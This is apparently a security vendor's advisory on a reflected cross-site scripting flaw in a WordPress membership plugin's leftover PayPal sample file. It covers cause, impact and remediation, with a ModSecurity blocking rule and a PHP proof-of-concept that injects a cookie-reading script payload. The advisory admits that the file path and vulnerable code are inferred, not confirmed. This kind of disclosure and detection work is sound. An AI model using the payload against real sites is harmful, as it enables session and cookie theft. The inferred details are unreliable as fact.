Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-126030 (metadata-based): This is a reflected cross-site scripting (XSS) vulnerability in the Wishlist Member plugin for WordPress, affecting versions up to and including 3.37.0, with a patched version 3.37.1. The flaw resides in a bundled PayPal Merchant SDK sample file, GetAccessToken.php, which remains publicly accessible under wp-content. Attackers can inject arbitrary web scripts via the ‘verification_code’ and ‘request_token’ parameters. The CVSS score is 6.1 (Medium), reflecting network attack vector, low complexity, no privileges required, user interaction required, and scope change.
Root Cause: The root cause is improper neutralization of input during web page generation (CWE-79), specifically reflected XSS. The GetAccessToken.php file likely outputs the values of ‘verification_code’ and ‘request_token’ directly into HTML without proper sanitization or escaping. Atomic Edge analysis infers this from the CWE classification and the vulnerability description, which states insufficient input sanitization and output escaping. The description confirms that the vulnerable code exists within a bundled SDK sample file left publicly reachable, without plugin-side access restriction, nonce verification, or capability check. No code diff is available, so the exact vulnerable lines are unknown, but the pattern is clear: user-supplied input echoed back unsafely.
Exploitation: An unauthenticated attacker crafts a URL pointing to the GetAccessToken.php file with malicious JavaScript in the ‘verification_code’ or ‘request_token’ parameter. The file is located at wp-content/plugins/wishlist-member-x/… (the exact path is inferred from the plugin slug and typical plugin structure, as the description mentions the file is under wp-content). The attacker must trick a victim into clicking the link or visiting the page, which executes the script in the victim’s browser. Typical payloads include alert(document.cookie) or more sophisticated scripts to steal cookies, session tokens, or perform actions on behalf of the victim. The CVSS vector confirms user interaction (UI:R) and scope change (S:C), meaning the injected script can affect resources beyond the vulnerable component.
Remediation: The fix likely involves removing the sample file from the plugin distribution or restricting access to it via authentication and capability checks. Additionally, proper output escaping (e.g., using esc_html() or esc_attr() in WordPress) and input sanitization (e.g., sanitize_text_field()) should be applied to the ‘verification_code’ and ‘request_token’ parameters. The patched version 3.37.1 presumably addresses these issues. Atomic Edge recommends that users upgrade to 3.37.1 or later. Virtual patching via WAF can block exploitation attempts by detecting malicious payloads in the named parameters.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of sensitive data (cookies, tokens), defacement, or redirection to malicious sites. Because the vulnerability is reflected and requires user interaction, the attacker must lure victims to a crafted URL. The scope change indicates that the injected script can affect other domains or resources, potentially increasing the severity. However, the CVSS score of 6.1 reflects moderate impact due to the need for user interaction and limited confidentiality/integrity impact.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-126030 (metadata-based)
# Blocks reflected XSS via 'verification_code' and 'request_token' parameters in GetAccessToken.php
# The rule targets the specific vulnerable file and inspects the named parameters for XSS patterns.
# It uses a chained rule to require the URI path and parameter values to match.
SecRule REQUEST_URI "@contains /wp-content/plugins/wishlist-member-x/GetAccessToken.php"
"id:2026126030,phase:2,deny,status:403,chain,msg:'CVE-2026-126030: Reflected XSS in Wishlist Member GetAccessToken.php',severity:'CRITICAL',tag:'CVE-2026-126030'"
SecRule ARGS:verification_code|ARGS:request_token "@detectXSS" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-126030 - Wishlist Member <= 3.37.0 - Reflected Cross-Site Scripting via 'verification_code' and 'request_token' Parameters
// This PoC demonstrates how an attacker might exploit the reflected XSS vulnerability.
// It constructs a malicious URL and simulates a victim visiting it.
// The exact path to GetAccessToken.php is inferred from the plugin slug and typical WordPress plugin structure.
// Adjust $target_url and $plugin_path as needed.
$target_url = 'http://example.com'; // Base URL of the WordPress site
$plugin_path = '/wp-content/plugins/wishlist-member-x/'; // Inferred path; may vary
$vulnerable_file = 'GetAccessToken.php'; // From CVE description
// Malicious JavaScript payload to steal cookies (for demonstration purposes)
$payload = '<script>alert(document.cookie)</script>';
// Parameter to inject (could be 'verification_code' or 'request_token')
$param = 'verification_code';
// Build the exploit URL
$exploit_url = $target_url . $plugin_path . $vulnerable_file . '?' . $param . '=' . urlencode($payload);
echo "[+] Crafted exploit URL: $exploit_urln";
// Simulate a victim visiting the URL using cURL (for testing the response)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Victim Browser)');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response === false) {
echo "[-] Request failed.n";
} else {
echo "[+] HTTP Status: $http_coden";
if (strpos($response, $payload) !== false) {
echo "[!] Payload reflected in response. XSS likely exploitable.n";
} else {
echo "[-] Payload not reflected. The file may be patched or path incorrect.n";
}
// Optionally print snippet of response for manual inspection
// echo substr($response, 0, 500);
}
// Note: This script is for educational and testing purposes only.
// Do not use against systems without explicit permission.
?>